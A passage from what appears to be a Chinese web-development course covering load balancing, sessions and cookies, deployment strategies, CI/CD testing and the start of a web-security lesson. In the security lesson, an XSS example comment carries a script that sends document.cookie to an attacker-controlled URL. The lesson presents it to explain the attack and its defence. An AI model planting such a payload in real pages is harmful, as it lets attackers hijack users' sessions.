关于 Nginx，对于它配置的具体含义，如果想了解的话，除了官方的文档例子以外，nginxconfig.io 这个网站可以通过简单的配置，直观、清晰地生成和比较相应的配置文件。

有一篇 Top 5 configuration management tools 文章介绍了 5 种常见的配置管理工具，推荐阅读，中文译文在这里。

29 | Ops三部曲之二：集群部署

你好，我是四火。

今天我们来谈谈 Ops 的三部曲之二，集群部署。毕竟一台物理机能够承载的请求数是十分有限的，同时，一台物理机还存在着单点故障（Single Point Failure）问题，因此我们通常需要把多台 Web 服务器组成集群，来提供服务。

负载分担

还记得我们在 [第 28 讲] 中介绍的反向代理吗？负载分担，又叫负载均衡，也就是 Load Balancer，就是反向代理设备中非常常见的一种，它可以高效地将访问请求按某种策略发送到内网相应的后端服务器上，但是对外却只暴露单一的一个地址。

除了作为名词特指设备，负载分担还可以作为动词指用来分配请求负载的行为，它可大可小，小可以到使用 F5 等负载均衡的专用设备来将请求映射到几台服务器上，但也可以大到用 DNS 来实现广域网的路由。例如同样访问 www.google.com，DNS 会对于不同地区的人解析为不同且就近的 IP 地址，而每个 IP 地址，实际又是一个更小的负载分担的子网和服务器集群。

上图演示了这样一个过程：

用户 A 和用户 B 都去 DNS 服务器查询 Google 的 IP 地址，但是他们在不同地区，不同的 DNS 服务器返回了不同的 IP 地址；

以用户 B 为例，根据返回的地址发送了一个 HTTP GET 请求，这个请求被负载均衡器转发给了服务器集群中的其中一台服务器 Web Server 2 处理并返回。这个城堡一样的结构图示就是负载均衡器，负责转发请求到实际的服务器。它可以由硬件实现，例如 F5；也可以由软件实现，例如 Nginx。

对于 DNS 的记录查询，我们曾在 [第 21 讲] 动手实践过，如果你忘记了可以回看。

策略算法

负载分担需要把请求发送到相应的服务器上，但是怎么选择那一台服务器，这里就涉及到策略算法了，这个算法可以很简单，也可以非常复杂。常见的包括这样几种：

随机选择：从服务器的池中随机选择一台，这是一种实现上最简单的方式。

轮询（Round Robin）：按顺序一台一台地将请求转发，本质上它和随机选择一样，缺乏对任务较为合理的分配。

最小连接：这种方式检测当前和负载均衡器连接的所有后端服务器中，连接数最小的一个。这是一种近似寻找“最小资源占用”的机器的方法。

其它寻找“最小资源占用的方法”，例如根据服务器报告上来的 CPU 使用率等等来分配，但是对于统计信息的收集，会显著增加系统的复杂度。

指定的哈希算法：例如我们曾在 [第 23 讲] 中介绍的一致性哈希，这种方式也非常常用，这种方式就不只是从访问压力分散的角度来考虑了，还起到了寻找数据的“路由”的作用，如果你忘记了，可以回看。

服务端 Session 和浏览器 Cookie

从上面负载分担的策略算法可以看出，大部分的策略算法是适合服务器“无状态”的场景，换言之，来自于同一个浏览器的请求，很可能这一个被转发给了服务器 1，紧接着的下一个就被转给服务器 2 了。在没有状态的情况下，这第二个请求被转给哪台服务器都无所谓。

服务端 Session

对于很多 Web 业务来说，我们恰恰希望服务器是“有状态”的。比如说，登陆是一个消耗资源较为明显的行为，在登陆的过程中，服务器要进行鉴权，去数据库查询用户的权限，获取用户的信息等操作。那么用户在登陆以后，一定时间内活跃的访问，我们希望可以直接完成，而不需要再次进行重复的鉴权、权限查询和用户信息获取等操作。

这就需要服务端存储的“会话”（Session）对象来实现了。Web 服务器在内存中存放一个临时对象，这个对象就可以存放针对特定用户的具体信息，比如上面提到的用户信息和用户权限信息等等。这样，当用户再一次的请求访问到来的时候，就可以优先去会话对象中查看，如果用户已经登录，已经具备了这些信息，那么就不需要再执行这些重复的鉴权、信息获取等操作了，从而省下大量的资源。

当然，我们也不知道用户什么时候就停止了对网站的使用，他可能会主动“登出”，这就要求我们主动将会话过期或销毁；他也可能默默地离开，这就需要一个会话管理的超时机制，在一定时间以后也要“被动”销毁这个会话，以避免会话信息无效的资源占用或潜在的安全隐患，这个时间就叫做会话超时时间。

浏览器 Cookie

说完了服务端 Session，我再来说说浏览器 Cookie。

浏览器可以以文本的形式在本地存放少量的信息。比如，在最近一次访问服务器、创建会话之后，服务器会生成一个标记用户身份的随机串，这样在这个用户下次访问同一个服务器的时候，就可以带上这个随机串，那么服务器就能够根据这个随机串得知，哦，是老用户到访，欢迎欢迎。

这个随机串，以文本的形式在浏览器端的存储，就被称为 Cookie。这个存储可以仅仅是在内存中的，因而浏览器退出就失效了；也可以存储在硬盘上，那么浏览器重新启动以后，请求发送依然可以携带这个信息。

从这套机制中，你可能已经发现了，它们在努力做的其实就是一件事——给 HTTP 通信填坑。

回想一下，我们已经介绍过 HTTP 版本的天生缺陷。在 [第 02 讲] 我们介绍了，缺乏数据加密传输的安全性大坑，被 HTTPS 给填了；在 [第 03 讲] 我们学习了，只能由客户端主动发起消息传递的交互模式上的坑，被服务端推送等多种技术给填了。

现在，我们来填第三个坑——HTTP 协议本身无法保持状态的坑。既然协议本身无法保持状态，那么协议的两头只好多做一点工作了，而客户端 Cookie 和服务端 Session 都能够保存一定的状态信息，这就让客户端和服务端连续的多次交互，可以建立在一定状态的基础上进行。

集群部署

集群带来了无单点故障的好处，因为无单点故障，是保证业务不中断的前提。但是，每当有 bug 修复，或是新版本发布，我们就需要将新代码部署到线上环境中，在这种情况下，我们该怎样保证不间断地提供服务呢？

在软件产品上线的实践活动中，有多种新版本的部署策略，它们包括：

重建（Recreate）部署：旧版本停止，新版本启动。

滚动（Ramped）部署：旧版本缓慢地释出，并逐渐被新版本替代。这是最常见的内部服务的部署方式，我在下面会详述。

蓝绿（Blue/Green）部署：在旧版本不停机的情况下，新版本先完成部署，再将流量从旧版本导过来。这也是非常常见的，这种部署的好处是，可以有充分的时间，对部署了但未上线的新版本做全量的测试，在线下确保没有问题了之后再切换线上流量。

金丝雀（Canary）部署：先导入少量的用户访问新版本，在验证正常后再逐步扩展到所有机器。这种部署也较为常见，最大的优点是它非常“谨慎”，可以逐步地扩展影响用户的范围，对于一些用户量非常大的业务，这种方式相对比较稳妥，可以不断观察使用情况和流量数据，在部署环节的任意时间做出适当调整。

A/B 测试（A/B Testing）部署：导入特定用户到新版本代码。

影子（Shadow）部署：新版本接收实际的发往老版本的源请求的拷贝，但是并不干预源请求的处理和响应本身。

既然使用集群，一大目的就是保证可用性，避免停机时间，而上面这六种中的第一种——重建部署，显然是存在停机时间的，因此很少采用。

滚动部署

在互联网大厂（包括我所经历的 Amazon 和 Oracle），对于一般的服务来说，绝大多数服务的部署，采用的都是滚动部署。为什么？我们来看一下其它几项的缺点，你就清楚了。

重建部署存在停机时间，不讨论。

蓝绿部署需要两倍的服务器资源，这个是一个局限性，而即便资源申请不是问题，这部署期间多出一倍的资源，机器需要进行初始化等各种准备，会有一定的时间和资源开销；再有一个是老版本代码的机器上可能有一些配置，而这个配置在完成部署后切换的时候会丢失。

剩下的三种部署相对更为“谨慎”，自然效率较低，即部署速度较慢，对于绝大多数服务的部署来说，有些得不偿失。当然，事物都有两面性，它们对于许多面向互联网用户等至关重要的业务来说，有时就可能是更佳的选择。

那对于一般的系统，部署会按照 50% - 50% 进行，即将部署分为两个阶段。第一个阶段，50% 的服务器保持不动，另 50% 的服务器部署新版本；完成后，在第二个阶段，将这 50% 的老版本给更新了，从而达成所有节点的新版本。对于流量比较大的服务，也有采取 33% - 33% - 34% 这样三阶段进行的。

下图来自这篇文章，很好地展示了这个滚动部署渐进的过程：

数据和版本的兼容

在应用部署的实践过程中，程序员一般不会忽略对于程序异常引发服务中断的处理。比如说，新版本部署怎样进行 Sanity Test（对于部署后的新版本代码，进行快速而基本的测试），确保其没有大的问题，在测试通过以后再让负载分担把流量引导过来；再比如说，如果新版本出现了较为严重的问题，服务无法支撑，就要“回滚”（Rollback），退回到原有的版本。

但是，我们除了要考虑程序，还要考虑数据，特别是数据和版本的兼容问题。数据造成的问题更大，单纯因为程序有问题还可能回滚，但若数据有问题却是连回滚的机会都没有的。我来举个真实的例子。

某 Web 服务提供了数据的读写功能，现在在新版本的数据 schema 中增加了新的属性“ratio”。于是，相应的，新版本代码也进行了修改，于是无论老数据还是新数据，无论数据的 schema 中有没有这个 ratio，都可以被正确处理。

但是，老代码是无法顺利处理这个新数据加入的 ratio 属性的。在采用滚动部署的过程中，新、老版本的代码同时运行的时候，如果新代码写入了这个带有 ratio 的数据，之后又被老版本代码读取到，就会引发错误。我用一张图来说明这个问题：

读到这里，你可能会说，那采用蓝绿部署等方式，一口气将旧代码切换到新代码不就行了吗？

没错，但是这是在没有异常发生的情况下。事实上，所有的部署都需要考虑异常情况，如果有异常情况，需要回滚代码，这突然变得不可能了——因为新数据已经写到了数据库中，一旦回滚到老代码，这些新数据就会导致程序错误。这依然会让负责部署任务的程序员陷入两难的境地。

因此，从设计开始，我们要就考虑数据和版本的兼容问题：

既要考虑新代码版本 + 老数据，这个是属于大多数情况，程序员一般不会忘记；

还要考虑老代码版本 + 新数据，这个很容易遗漏 ，出问题的往往是这个。

那如果真是这样，有什么解决办法吗？

有的，虽然这会有一些麻烦。办法就是引入一个新版本 V2 和老版本 V1 之间的中间版本 V1.5，先部署 V1.5，而这个 V1.5 的代码更新就做一件事，去兼容这个新的数据属性 ratio——代码 V1.5 可以同时兼容数据有 ratio 和无 ratio 两种情况，请注意这时候实际的数据还没有 ratio，因此这时候如果出了异常需要回滚代码也是没有任何问题的。

之后再来部署 V2，这样，如果有了异常，可以回滚到 V1.5，这就不会使我们陷入“两难”的境地了。但是，在这完成之后，项目组应该回过头来想一想，为什么 V1 的设计如此僵硬，增加一个新的 ratio 属性就引起了如此之大的数据不兼容问题，后续是否有改进的空间。

总结思考

今天我详细介绍了负载分担下的集群和新代码部署的方式，也介绍了服务端 Session 和客户端 Cookie 的原理，希望你能有所启发，有效避坑。

现在我来提两个问题：

在你参与过的项目中，代码部署环节，采用的是上面介绍的六种策略中的哪一种呢，或者是第七种？

文中我介绍了 Session 和 Cookie 都可以存放一定的信息，现在试想一下，如果你来实现极客时间这个网站（包括注册、登陆和课程订阅功能），你觉得哪些信息应当存放在浏览器的 Cookie 内，哪些信息应当存放在服务端 Session 中呢？

最后，对于 Session 和 Cookie 的部分，今天还有选修课堂，可以帮助你通过具体实践，理解原理，加深印象，希望你可以继续阅读。如果有体会，或者有问题，欢迎你在留言区留言，我们一起讨论。

选修课堂：动手实践并理解 Session 和 Cookie 的原理

还记得 [第 10 讲] 的选修课堂吗？我们来对当时创建的 ${CATALINA_HOME}/webapps/ROOT/WEB-INF/BookServlet.java 稍作修改，在文件开头的地方引入 java.util.logging.Logger 这个日志类，再在 BookServlet 中创建日志对象，最后在我们曾经实现的 doGet 方法中添加打印 Session 中我们存放的上一次访问的 categoryName 信息，完整代码如下：

import java.util.logging.Logger;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class BookServlet extends HttpServlet {
    private Logger logger = Logger.getLogger(BookServlet.class.getName());
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String category = request.getParameter("category");

        String lastCategoryName = (String) request.getSession().getAttribute("lastCategoryName");
        this.logger.info("Last category name: " + lastCategoryName);
        request.getSession().setAttribute("lastCategoryName", category);

        request.setAttribute("categoryName", category);
        request.getRequestDispatcher("/book.jsp").forward(request, response);
    }
}

你看，这里新添加的逻辑主要是，尝试从 Session 中获取 lastCategoryName 并打印，同时把这次请求携带的 category 存放到 Session 中去，以便下次获取。

老规矩，编译一下：

javac BookServlet.java -classpath ${CATALINA_HOME}/lib/servlet-api.jar

现在启动 Tomcat：

catalina run

打开 Chrome，点击菜单栏的“文件”“打开新的隐身窗口”，用这种方式以避免过去访问产生的 Cookies 引发的干扰：

然后，打开开发者工具，并切换到 Network 标签：

接着，访问 http://localhost:8080/books?category=art，你应该可以看到命令行打印了类似这样的日志：

09-Oct-2019 22:03:07.161 INFO [http-nio-8080-exec-1] BookServlet.doGet Last category name: null

这就是说，这次访问 Session 里面的 lastCategoryName 是空。

再来看看 Chrome 开发者工具上的 Network 标签，请求被捕获，并可以看到这个请求的响应中，一个 Set-Cookie 的头，这说明服务器没有发现这个 Session，因此给这个浏览器用户创建了一个 Session 对象，并且生成了一个标记用户身份的随机串（名为 JSESSIONID）传回：

现在再访问 http://localhost:8080/books?category=life，注意这时 URL 中的 category 参数变了。命令行打印：

09-Oct-2019 22:04:25.977 INFO [http-nio-8080-exec-4] BookServlet.doGet Last category name: art

果然，我们把前一次存放的 lastCategoryName 准确打印出来了。

我们还是回到开发者工具的 Network 标签，这次可以看到，请求以 Cookie 头的形式，带上了这个服务器上次传回的 JSESSIONID，也就是因为它，服务器认出了这个“老用户”：

当然，我们可以再访问几次这个 URL，在 Session 超时时间内，只有第一次的访问服务端会在响应的 Set-Cookie 头部放置新生成的 JSESSIONID，而后续来自浏览器的所有请求，都会在 Cookie 头上带上这个 JSESSIONID 以证明自己的身份。

用一张图来揭示这个过程吧：

上图中，浏览器一开始携带的 JSESSIONID=123 已经在服务端过期，因此是一个无效的 JSESSIONID，于是服务端通过 Set-Cookie 返回了一个新的 456。

再联想到我们今天讲到负载分担，负载分担常常支持的一个重要特性被称为“Session Stickiness”，这指的就是，能够根据这个会话的随机串，将请求转发到相应的服务器上。这样，我们就能够保证在集群部署的环境下，来自于同一客户的的请求，可以落到同一服务器上，这实际上是许多业务能够正常进行的前提要求。

Session Stickiness 其实是属于前面介绍的负载分担策略算法中的一部分，它是整个策略算法中的优先策略，即在匹配 Cookie 能够匹配上的情况下，就使用这个策略来选择服务器；但是如果匹配不上，就意味着是一个新的用户，会按照前面介绍的一般策略算法来决定路由。另外，在一些特殊的项目中，我们可能会选择一些其它的优先策略，例如 IP Stickiness，这就是说，使用源 IP 地址来作为优先策略选择服务器。

好，希望你已经完全理解了这套机制。

扩展阅读

【基础】如果你对于 Cookie 还不太了解的话，建议你阅读 MDN HTTP cookies 这篇简短的教程。

对于文中介绍的六种部署策略，欢迎阅读 Six Strategies for Application Deployment 这篇文章，它对于每一种策略都有详细解读，且带有动画图示。如果需要中文译文，你可以看一下这篇。

30 | Ops三部曲之三：测试和发布

你好，我是四火。

今天，我们继续 Ops 三部曲。今天我要讲一讲持续集成和持续发布，以及 Web 全栈项目中一些常见的测试维度。

CI/CD 和 Pipeline

CI 指的是 Continuous Integration，持续集成，而 CD 指的是 Continuous Delivery，持续交付。它们二者结合起来，通过将工程师的代码变更反复、多次、快速地集成到代码主线，执行多种自动化的测试和验证，从而给出快速反馈，并最终达到将变更持续、迅速发布到线上的目的。

为了达到持续集成和持续交付，我们几乎一定会使用一个叫做 pipeline 的工具来将流程自动化。Ops 中我们总在谈论的 Pipeline，指的就是它。Pipeline 是一个将代码开发、编译、构建、测试、部署等等 Ops 活动集成起来并自动化的基础设施。把 Pipeline 放在最先讲，是因为它是集成 Ops 各种自动化工具的核心，而这一系列工具，往往从编译过程就开始，到部署后的验证执行结束。

Pipeline 确定和统一了从开发、测试到部署的主要流程，但最大的作用是对劳动力的解放。程序来控制代码从版本库到线上的行进流程，而非人。因此，如果一个 pipeline 上面设置太多个需要人工审批的暂停点，这样的自动化就会失去一大部分意义。

上图来自维基百科的持续交付词条，从中你也可以看到，整个流程中，版本管理是触发构建和测试的核心工具，而多层次、不同阶段的测试则是保证整个持续集成和持续交付的关键。接下去，我们就来结合实例理解这一点。

不同测试的集成

记得上个月和一位硕士毕业以后做过一年网络工程师的朋友聊天，他正在慢慢转向通用软件工程师的角色。他在学校里修的是计算机相关的专业，因为毕业没有多久，他对于学校里做项目的情况还历历在目。

我问道：“你觉得工业界和学校里做项目有什么不同呢？”他说：“最大的不同在于，学校里更多的是‘实现功能’，而工作以后，更多的是‘实现工程’。”

我觉得这个概括非常贴切，事实上，实现的“功能”，只是“工程”范畴内太小的一部分了（关于这方面，你也许会想起 [第 28 讲] 的选修课堂，关于程序员“独立性”的介绍），一个程序员的工程能力，远远不只有实现功能那么简单。而测试，就是从学校迈向职场，以及在职场上成熟精进的角度之一。

在读书的时候，我们可能已经学过测试的 V 模型（下图来自这篇文章）：

这是一个基本的给不同测试分层的方式，当然，还有从其它维度进行的测试分类方法。在有了 pipeline 以后，这些测试可以集成到上面去。每一层测试分别对应到设计阶段的特定环节。在实际项目中，不同维度测试的实现可谓参差不齐。我来挑几个，说说我的理解，并讲讲我所见到的来自 Web 全栈项目中的一些典型问题。

1. 单元测试

单元测试（Unit Test），这一步还属于代码层面的行为活动，因此单元测试一定要是开发写的，因为单元测试重要的一个因素就是要保证它能够做到白盒覆盖。

单元测试要求易于执行、快速反馈，且必须要做到完全的执行幂等性。对于整个持续集成活动来说，单元测试和其它测试不同，它是和源代码的编译构建放在一起的，也就是说，单元测试执行的失败，往往意味着编译构建的失败，而非一个单独测试过程的失败。据我观察，在 Web 全栈项目中，团队普遍都能够意识到单元测试的重要性，但是存在这样几个典型的问题。

问题一：执行缓慢，缺乏快速反馈。

由于需要反复执行和根据结果修改代码，快速的反馈是非常重要的，从几秒内到几十秒内必须得到结果。我见过有一些团队的单元测试跑一遍要十分钟以上，那么这种情况首先要考虑的是，单元测试是不是该优化了？代码包是不是太大，该拆分了？其次才去见招拆招，比如要求能够跑增量的测试，换言之，改动了什么内容，能够重跑改动的那一部分，而不是所有的测试集合，否则就失去了单元测试的意义。

特别说一个例子。有一些项目中，为了模拟一些代码的行为，会使用 sleep() 方法来让某些代码的执行“等一下”，这是一个典型的不良实践，这一类显式地拖慢单元测试执行的方法应当被限制或禁止。我们可以定义 TimeKeeper 之类用来返回“当前时间”的对象，这样在测试的时候，我们就可以替换其逻辑来模拟时间的流逝。

问题二：无法消除依赖。

单元测试关注的是方法、函数这些很小的“单元”，因此，为了能够专注在有限的代码层面并保持快速，所有的远程接口、其它组件的调用等等，全部都要用桩方法替换掉。但我依然看到很多项目中单元测试会调用数据库，会加载复杂的配置文件集合等等，我认为这些都是不妥的。我们希望单元测试放在开发机器上能跑，放到构建机器上也能跑，能做到这一点的前提，就是要把这些依赖组件全部拿掉。

问题三：对达到“单元测试覆盖率”机械而生硬地执行。

我是坚决反对那些在软件开发中不讲实际情况而制定生硬指标的做法的。单元测试和其它测试一样，书写和维护也都是有成本的，并非覆盖率越高越好，要优先覆盖那些核心逻辑和复杂逻辑的源代码（这个代码无论是在前端还是后端，我们都有很成熟的单元测试框架和技术了），因此我们单纯地讲一个覆盖率是缺乏意义的。

一个单元测试覆盖率 85% 的代码也许会比 15% 的代码好，但是，一个单元测试覆盖率 95% 的代码可未必比 90% 的更好，我反而会担心里面是不是有很多为了单纯达标覆盖率而被迫写的无意义覆盖测试的代码。

2. 集成测试

集成测试（Integration Test）泛指系统组件之间集成起来的功能性测试，但在 Web 项目中，经常特指的是针对暴露的 Web 接口进行的端到端的测试。它一般被放在持续集成的 pipeline 中，编译构建阶段结束以后执行。

集成测试的成熟程度，往往是一个项目质量的一个非常好的体现。在某些团队中，集成测试通过几个不同的环境来完成，比如α环境、β环境、γ环境等等，依次递进，越来越接近生产环境。比如α环境是部署在开发机上的，β环境是部署在专门机器上的测试环境，而γ环境又叫做“pre-prod”环境，是线上环境的拷贝，连数据库的数据都是从线上定期同步而来的。

集成测试的过程中，一个很容易出现的问题，就是测试无法具备独立性或幂等性。集成测试的执行，往往比单个的单元测试执行要复杂得多，有独立性要求测试的执行不会出现冲突，即要么保证某测试环境在任何时间只有单独的测试在执行，要么允许多个测试执行，但它们之间互不影响。幂等性则要求测试如果执行了一半，中止了（这种情况很常见），那么测试执行的残留数据，不会影响到下一次测试的顺利执行。

3. 冒烟测试

冒烟测试（Smoke Testing）在 Web 项目中非常实用。冒烟测试最关心的不是功能的覆盖，而是对重要功能或者核心功能的保障。到了这一步，通常在线上部署完成后，为了进一步确保它是一次成功的部署，需要有快速而易于执行的测试来覆盖核心测试用例。

这就像每年的常规体检，你不可能事无巨细地做各种各样侵入性强的检查，而是通过快速的几项，比如血常规、心跳、血压等等来执行核心的几项检查。在某些公司，冒烟测试还被称作“Sanity Test”，从字面意思也可以得知，测试的目的仅仅是保证系统“没有发疯”。通常不会有测试放到生产线的机器上执行，但冒烟测试是一个例外，它在新代码部署到线上以后，会快速地执行一下，然后再进行流量的切换。

除了功能上的快速冒烟覆盖，在某些系统中，性能是一个尤其重要的关注点，那么还会划分出 Soak Testing（浸泡测试）这样的针对性能的测试来。当然，它对系统的影响可能较大，有时候不会部署在生产环境，而是在前面提到的 pre-prod 的生产环境的镜像环境中。

冒烟测试最容易出现的问题，是用例简洁程度和核心功能覆盖的不平衡。冒烟测试要求用例尽可能简单，这样也能保证执行迅速，不拖慢整个部署的过程；但是，另一方面我们也希望核心功能都被覆盖到，许多团队容易犯的错误，就是在产品一开始的时候可以将冒烟测试的用例管理得非常好，但是随着时间进展，冒烟测试变得越来越笨重而庞大，最终失去了平衡。

总结思考

今天我们学习了持续集成和持续发布，以及 Web 全栈项目中常见的测试维度，并讲到了各自容易出现的问题，依然希望你可以有效避坑。

下面是提问时间：

在你经历的项目中，你们是否实现或部分实现了持续集成和持续发布，能说说吗？

除去文中介绍的，你觉得还有哪些测试的维度是 Web 项目特有或经常关注的（比如浏览器兼容性测试）？

好，今天的正文就到这里，欢迎你继续学习下面的选修课堂，同时，也欢迎你在留言区就今天的内容与我讨论。

选修课堂：持续集成和持续发布的更多挑战

今天我们介绍的测试技术，还有上一讲介绍的部署技术，只是持续集成和持续发布的其中一部分核心内容，还有更多的挑战需要我们面对，也许对于它们中的不少内容，你已经在工作中接触过。

1. 代码静态分析

对于软件工程而言，我们知道问题能够发现得越早，修复问题的代价就越小。比如，对于 Java 来说，FindBugs、PMD 可以用于在编译期发现代码中常见的问题，CheckStyle 可以提示代码不符合规范的地方，等等。

这些工具确实能带来好处，但是在应用它们的时候，我们需要时刻记住一点：工具永远是为程序员服务的，而不是反过来。我强调这一点的原因是，在我的工作中，曾经经历过这样的事情——程序员为了通过这些静态工具的检查，对代码做了许多毫无意义的修改。比如这样的例子：

/**
 * 返回名字。
 * @return 名字
 */
public String getName() { ... }

本来是一个特别简单而直接的 get 方法，命名也是符合常见 getter/setter 的规约的。但是，为了通过 CheckStyle 这样的静态工具检查，添加了这样本无必要、读起来也显然毫无意义的注释。你可以想象，代码中有许许多多的 get/set 方法，那这样的注释会有多少。我认为，和文中提到的测试覆盖率的那一条一样，这也是工具起到了反面作用的例子。

2. 依赖管理

对于 Java 程序员来说，有个略带戏谑的说法是：“没有痛不欲生地处理过 Jar 包冲突的 Java 程序员不是真正的 Java 程序员。”这在一定程度上说明了依赖管理的重要性。

注意这里说的依赖，即便对于 Java 来说，也不一定是 Jar 包，可以是任何文件夹和文件。尤其是对于茁壮发展的 Java 社区来说，版本多如牛毛，质量良莠不齐，包和类的命名冲突简直是家常便饭。我在项目中用过好几个依赖管理的工具，比如 Python 的 pip，Java 的 Ant 和 Maven，还有一些公司内部未开源的工具。我认为，一个好的依赖管理的工具，有这么几点核心特性需要具备：

一个抽象合理、配置简约的 DSL。本质上说，依赖管理需要某种领域特定语言的配置方式来达到完整支持的目的，这可以是稍复杂的 XML，可以是简单键值对列表，也可以是 YAML 格式等等（关于这些格式，我会在下一章“专题”部分做出介绍）。

支持将单独的包组织成集合来简化配置。即若干个关联功能的 Jar 包可以组成一个集合，来简化依赖配置，比如 SpringBoot 几个相关包的集合。当然，这种方式也会带来一些副作用，一个是可能引入了一些原本不需要的 Jar 包；另一个是，如果存在局部版本不匹配，处理起来就会比较麻烦，而且打破了基于集合整体配置的简化优势。

支持基于版本的递归依赖。比如 A 依赖于 B，B 依赖于 C，那么只需要在 A 的依赖文件中配置 B，C 就会被自动引入。B 是 A 的直接依赖，而 C 是 A 的间接依赖。

支持版本冲突的选择。比如 A 依赖于 B 和 C，B 依赖于 D 1.0，C 依赖于 D 2.0，那么通过配置可以选择在最终引入依赖的时候引入 D 1.0 还是 2.0。

支持不同环境的不同依赖配置。比如编译期的依赖，测试期的依赖和运行期的依赖都可能不一样。

3. 环境监控

既然要持续集成和持续发布，自动化可以将人力和重复劳动省下来，但是并不代表把对系统的关注和了解省下来。环境监控，指的是通过一定的工具，来对集成和发布的不同环境做出不同维度的监控，它包括如下特性：

多维度、分级别、可视化的数据统计和监控。核心性能的统计信息既包括应用的统计信息，也包括存储，比如数据库的统计信息，还包括容器（比如 Docker）或者是机器本身的统计信息。监控信息的分级在数据量巨大的时候显得至关重要，信息量大而缺乏组织就是没有信息。通常，有一个核心 KPI 页面，可以快速获知核心组件的健康信息，这个要求在一屏以内，以便可以一眼就看得到，其它信息可以在不同的子页面中展开。

基于监控信息的自动化操作。最常见的例子就是告警。CPU 过高了要告警，I/O 过高了要告警，失败次数超过阈值要告警。使用监控工具根据这些信息可以很容易地配置合理的告警规则，要做一个完备的告警系统，规则可以非常复杂。告警和上面说的监控一样，也要分级。小问题自动创建低优先级的问题单（ticket），大问题创建高优先级的问题单，紧急问题电话、短信自动联系 oncall。其它操作，还包括自动熔断、自动限流、自动扩容和自动降级（参见 [第 17 讲] 优雅降级）等等。

上述模块的规则自定义和重用能力。在上面说到这些复杂的需求的时候，如果一切都从头开始做无疑是非常耗时费力的。因而和软件代码需要组织和重构一样，告警的配置和规则也是。一般说来，在大厂内部，都有这方面支持比较好的工具，对于缺乏这样强大的自研能力的中小公司来说，业界也有比较成熟的解决方案可以直接购买。

扩展阅读

文中提到了测试的 V 模型，感兴趣的话欢迎继续阅读这篇 V Model，特别是它对其优劣的比较分析。

我们在做 Web 项目的时候，在单元测试的层面，去测试多线程代码的正确，是比较困难的，有一些开源库对此做了一些尝试，比如 thread-weaver，感兴趣的话可以了解。

文中提到了 Maven 这种管理依赖并进行项目构建打包的工具，如果你使用 Java 语言的话，你应该了解一下，如果你需要中文教程来系统学习，那么你可以看看这篇。

31 | 防人之心不可无：网站安全问题窥视

你好，我是四火。

今天，我们来学习一些网站安全的基础知识。作为一名 Web 全栈工程师，不可避免地会经常性地面对网站安全的问题，因此有关安全的学习是十分必要的。这一讲我们就来看一些常见的安全问题，并了解它们相应的解决办法，加强安全意识。

鉴权和授权

我把这两个概念的比较放在开头，是因为这两个概念有相关性且很常用，还有就是这二者太容易被混用了，但是实际上，它们却又是大不相同的。鉴权，Authentication，指的是对于用户身份的鉴别；而授权，Authorization，指的是允许对于特定资源的指定操作。

我们可以借助具体的例子来深入了解。

先说说鉴权。网站的登录系统，输入正确的用户名和密码以便登陆，这个过程就是一个鉴权参与的过程。输入了正确的用户名和密码，系统就能够确认用户的身份，鉴权也就成功了。再比如我们在 [第 02 讲] 中介绍的 HTTPS 通信，其中的密钥也是起到了“鉴别身份”的作用，这个起作用的过程也属于鉴权。

为了安全考虑，在实际应用中鉴权有时不是靠“单因子”（Single-Factor）就够了的，我们还会采用“多因子”（Multi-Factor）的方式。

举个例子，银行转账的时候，你光输入账号和转账密码，这是属于单因子，一般是不够的，还必须有其它的因子，比如说 U 盾等等。多个因子之间一般要求是独立的，无依赖关系。再比如说，你通过电话去办理通讯业务的时候，有时候为了证明你的身份，你会被要求提供 PIN 或者密码以外的其他“个人信息”，像是说出最近三次通话的电话号码，这些方式，都是为了增加“鉴权因子”的种类，从而提高安全级别。

再来举个授权的例子。还记得我们在 [第 04 讲] 中介绍的“资源”吗？对于不同的资源，不同的用户拥有不同的权限，而授权根据权限配置，确定用户对特定的资源是否能执行特定的行为。比如说，我们提到过的图书馆系统，授权确定用户是否能够查看图书信息，是否能够修改图书信息等等。

常见的 Web 攻击方式

好，我想你已经理解了鉴权和授权的含义与区别。下面我就来介绍几种常见的 Web 安全问题，在这部分的学习过程中，你可以联想一下在你经历过的项目，是否具备相同的安全隐患？

1. XSS

XSS，Cross Site Script，跨站脚本攻击。原理是攻击者通过某种方式在网页上嵌入脚本代码，这样，正当用户在浏览网页或执行操作的时候，脚本被执行，就会触发攻击者预期的“不正当”行为。

举个例子。在 [第 29 讲] 中我介绍了会话的原理，服务端给用户分配了一个标识身份的字符串，整个会话生命周期内有效，保存在浏览器的 Cookie 中（如果你忘记了，请回看）。

现在，攻击者在服务器返回的普通页面中嵌入特殊的脚本代码，那么在普通用户浏览这个网页的时候，这个特殊的脚本代码就得到了执行，于是用户的 Cookie 通过请求的方式发送给了这个攻击者指定的地址，这样攻击者就劫持了用户的会话，利用 Cookie 中标识身份的字符串，就可以伪装成实际的用户，来做各种坏事了。这个过程见下图：

你可能会想了，那在服务器端严格控制，不让用户上传脚本不就得了？

可是，这个恶意脚本的上传，往往是通过“正常”的页面访问来进行的，因此这个控制方法很容易疏漏。比如给正常页面的请求添加特殊的参数，或者是提交信息表单的时候，构造一些特殊值。它们是利用网站的漏洞来做文章的，像是缺乏对用户上传的数据进行字符转义，而直接将这样的上传数据显示到页面上。

举个例子：用户可以在电商网站的产品页面提交对产品的评论，并且，这个评论会显示到产品页上。于是攻击者上传了这样一段产品评论：

评论内容上半部分
<script>
  var script =document.createElement('script');
  script.src='http://...?cookie=' + document.cookie;
  document.body.appendChild(script);
</script>
评论内容下半部分

如果这个电商网站没有对用户上传的评论做转义或者字符过滤，那么这个评论在展示的时候会显示“评论内容上半部分”和“评论内容下半部分”，中间的 script 标签没有任何显示，但其中的脚本却被偷偷摸摸地执行了。

浏览器构造了一个新的 script 节点，并将其 src 属性指向攻击者指定的服务器地址，并将当前页面的 Cookie 放在其参数内。

接着，再将这个新的 script 节点添加到 HTML 页面的 body 标签内。

于是，浏览器就会向这个 src 的地址发送一个带有当前 Cookie 的请求。

于是攻击者就可以获得用户浏览器内的会话标识串，从而劫持用户的会话了，例如可以仿冒用户的身份购物并寄往指定地址。

知道了原理，我们就可以针对 XSS 的特点来进行防御，比如有这样两个思路：

第一个，做好字符转义和过滤，让用户上传的文本在展示的时候永远只是文本，而不可能变成 HTML 和脚本。

